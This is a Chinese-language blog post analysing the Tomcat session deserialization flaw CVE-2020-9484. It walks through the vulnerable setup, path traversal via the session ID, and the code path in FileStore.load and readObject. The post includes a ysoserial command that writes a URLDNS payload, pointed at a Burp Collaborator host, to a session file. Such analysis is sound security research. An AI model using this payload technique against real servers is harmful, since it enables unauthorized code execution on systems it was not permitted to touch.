tomcat session反序列化漏洞分析

                <p></p><h1>CVE-2020-9484 tomcat session反序列化漏洞</h1>

漏洞通告

可以看到利用条件较为苛刻,并且在复现的时候需要做一定配置

修改PersistenceManager配置,这个配置是在tomcat目录的conf目录中的context.xml中配置的,根据官网的配置方法,做如下配置

这样2,3条件满足了,之后配置tomcat的debug环境即可

漏洞分析

一般文件存储session的问题就是sessionID没有做过滤,允许跳出路径,让session文件变成攻击者控制的文件,导致漏洞产生,这次的session漏洞也不例外

我们选择了session的存储为FileStore,所以在FileStore类的load方法处设置断点

在servlet中创建一个很简单的java session

protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        Properties properties = new Properties();
        properties.setProperty("org.apache.catalina.session.StandardSession.ACTIVITY_CHECK", "true");
        System.setProperties(properties);
        String res = System.getProperty("org.apache.catalina.session.StandardSession.ACTIVITY_CHECK");
        System.out.println(res);
        HttpSession httpSession = req.getSession();
        httpSession.setAttribute("username", "admin");
        resp.getWriter().println("success");
    }

现在我们的漏洞环境就搭建好了,设置tomcat启动即可

设置sessionid

我们设置sessionid存在目录穿越符号

刷新页面,被断点拦截

第一步先是获取到session文件

可以看到,我们的sessionID后面会添加一个.session后缀,这也就导致我们需要一个可控文件名的文件上传,这一点就比较难以满足

但是可以看出来,不需要准确知道确定的相对录路径,一直跳到根目录即可,但是因为sessionid有长度限制的,所以还是有一点限制

反序列化

这个时候,我们可以跳到任意目录了,我们在tmp下面生成了URLDNS的ysoserial,来做dns查询

java -jar ysoserial.jar URLDNS "http://lsh9lo0bpipjrb0kp98cn4khb8h15q.burpcollaborator.net" > /tmp/test.session

只要这个session文件存在,就会将文件内容读取出来,并且创建ObjectInputStream,最后调用了readObjectData

熟悉java反序列化的话这个地方一眼就能看出来有反序列化的问题

我们继续进入readObjectData

调用readObject,触发反序列化

利用截图

使用URLDNS,成功获取到DNS请求

漏洞利用条件较为苛刻

        </div>

猜你喜欢

转载自blog.csdn.net/bylfsj/article/details/106500331